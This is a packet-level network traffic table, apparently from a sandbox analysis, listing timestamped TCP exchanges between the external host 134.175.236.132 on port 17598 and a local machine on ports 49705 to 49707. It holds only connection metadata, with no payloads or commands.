Mar 28, 2024 11:28:58.360637903 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.360694885 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.540705919 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.540724993 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.540735960 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.540745974 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.540757895 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.540786982 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.540832043 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.540841103 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.540841103 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611118078 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611190081 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611200094 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611213923 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611244917 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611268044 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611337900 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611382961 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611403942 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611449957 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611464977 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611511946 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611535072 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611567974 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611632109 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611675978 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611768961 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611782074 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611810923 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611821890 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611856937 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611870050 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611884117 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611895084 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611918926 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611938953 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611948013 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.611969948 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.611980915 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.612011909 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.612032890 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.612046957 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.612061977 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.612076044 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.612096071 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.612118959 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.612132072 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.612165928 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.612171888 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.612174988 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.612210989 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.612253904 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.612276077 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.612298012 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.612310886 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.612318993 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.612356901 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.612375021 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.612413883 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.612432957 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.612446070 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.612467051 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.612482071 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.819691896 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.819752932 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.871198893 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.871217966 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.871229887 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.871268034 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.871282101 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.871292114 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.871295929 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.871336937 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.871351004 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.871356010 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.871423960 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942142963 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942159891 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942229986 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942246914 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942291975 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942392111 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942405939 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942445993 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942456007 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942471027 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942513943 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942528963 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942581892 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942588091 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942605019 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942635059 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942643881 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942658901 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942682028 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942704916 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942712069 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942717075 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942734957 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942759991 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942780972 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942784071 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942791939 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942805052 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.942837954 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942845106 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.942872047 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.148495913 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.148516893 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.148582935 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.201790094 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.201807976 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.201850891 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.201859951 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.201888084 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.201898098 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.201919079 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.201925039 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.201926947 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.201951981 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.201987982 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.202002048 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.202018976 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.202018976 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.202028036 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.202044964 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.202047110 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.202059984 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.202088118 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.202095985 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.272393942 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.272409916 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.272422075 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.272454023 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.272468090 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.272473097 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.272488117 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.272499084 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.272520065 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.272538900 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.272547007 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.272552967 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.272577047 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.272594929 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.477226019 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.477263927 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.477277994 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.477288008 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.477340937 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.477370977 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.532341957 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.532365084 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.532399893 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.532408953 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.532413960 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.532427073 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.532428980 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.532455921 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.532490015 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.532495022 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.532551050 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.532582998 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.532625914 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.532629967 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.532670021 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.532684088 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.532700062 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.532726049 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.532740116 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.806158066 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.806175947 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.806236029 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.806238890 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.806260109 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.806284904 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.806293011 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.806329012 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.806332111 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.806371927 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.862914085 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.862955093 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.862989902 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.863007069 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.863007069 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.863051891 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.863073111 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.863095045 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.863111973 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.863140106 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.863166094 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.863204002 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.863217115 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.863255024 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.863261938 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.863296986 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.863302946 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.863334894 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.863358021 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.863395929 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:59.863409042 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:59.863446951 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.193804026 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.193876982 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.193898916 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.193929911 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.193959951 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.194000959 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.194010973 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.194060087 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.194083929 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.194132090 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.194462061 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.194510937 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.194576025 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.194622040 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.194643974 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.194684029 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.194763899 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.194777012 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.194813967 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.194915056 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.194962978 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.195036888 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.195084095 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.524313927 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.524329901 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.524343014 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.524372101 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.524396896 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.524399042 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.524410009 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.524432898 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.524441004 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.524455070 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.524482012 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.524847984 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.524895906 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.524967909 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.525007010 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.525022030 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.525027990 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.525043964 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.525058031 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.525068998 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.525094986 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.525192976 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.525243998 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.525371075 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.525418043 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855000019 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855019093 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855056047 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855071068 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855092049 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855108976 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855114937 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855129004 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855142117 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855156898 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855159044 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855175972 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855200052 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855223894 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855252981 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855277061 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855290890 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855303049 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855328083 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855345011 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855345964 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855370045 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855384111 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855479002 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855526924 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:00.855655909 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:00.855705976 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.185506105 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.185524940 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.185583115 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.185601950 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.185659885 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.185700893 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.185797930 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.185828924 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.185841084 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.185861111 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.185862064 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.185904980 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.185911894 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.185924053 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.185950994 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.185962915 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.185966015 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.185982943 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.186012983 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.186029911 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.186033010 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.186044931 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.186055899 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.186070919 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.186084986 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.186094046 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.186108112 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.186131954 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.186155081 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.429315090 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516138077 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516185045 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516232967 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516244888 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516244888 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516269922 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516293049 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516305923 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516333103 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516345978 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516357899 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516400099 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516423941 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516473055 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516485929 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516534090 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516547918 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516596079 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516597033 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516608953 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516638994 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516654015 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516699076 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516747952 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:01.516747952 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:01.516791105 CET	49707	17598	192.168.2.5	134.175.236.132
